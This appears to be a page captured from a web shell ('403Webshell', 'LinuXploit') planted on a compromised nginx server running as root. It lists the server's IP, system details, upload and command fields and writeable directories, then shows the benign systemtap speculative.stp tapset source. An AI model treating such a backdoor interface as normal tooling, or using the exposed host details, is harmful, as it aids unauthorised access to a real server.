403Webshell
Server IP : 39.108.156.168  /  Your IP : 216.73.216.104
Web Server : nginx/1.24.0
System : Linux e2.ksyuki.com 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/systemtap/tapset/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/systemtap/tapset/speculative.stp
// Speculative tapset
// Copyright (C) 2011-2015 Red Hat Inc.
//
// This file is part of systemtap, and is free software.  You can
// redistribute it and/or modify it under the terms of the GNU General
// Public License (GPL); either version 2, or (at your option) any
// later version.

@__private30 global _spec_id
@__private30 global _spec_counter%
@__private30 global _spec_buff%


/**
 * sfunction speculation - Allocate a new id for speculative output
 *
 * The speculation() function is called when a new speculation buffer is needed.
 * It returns an id for the speculative output.
 * There can be multiple threads being speculated on concurrently.
 * This id is used by other speculation functions to keep the threads
 * separate.
 */
function speculation:long ()
{
	_spec_id += 1
	return _spec_id
}


/**
 * sfunction speculate - Store a string for possible output later
 * @id: buffer id to store the information in
 * @output: string to write out when commit occurs
 *
 * Add a string to the speculaive buffer for id.
 */
function speculate (id:long, output:string)
{
	_spec_counter[id] += 1
	_spec_buff[id, _spec_counter[id]] = output
}


/**
 * sfunction discard - Discard all output related to a speculation buffer
 * @id: of the buffer to store the information in
 *
 */
function discard (id:long)
{
  delete _spec_buff[id,*]
}


/**
 * sfunction commit - Write out all output related to a speculation buffer
 * @id: of the buffer to store the information in
 *
 * Output all the output for @id in the order that it was entered into
 * the speculative buffer by speculative().
 */
function commit (id:long)
{
  foreach([i, counter+] in _spec_buff [id,*]) {
    printf("%s", _spec_buff[i, counter])
  }
  delete _spec_buff[id,*]
}

Youez - 2016 - github.com/yon3zu
LinuXploit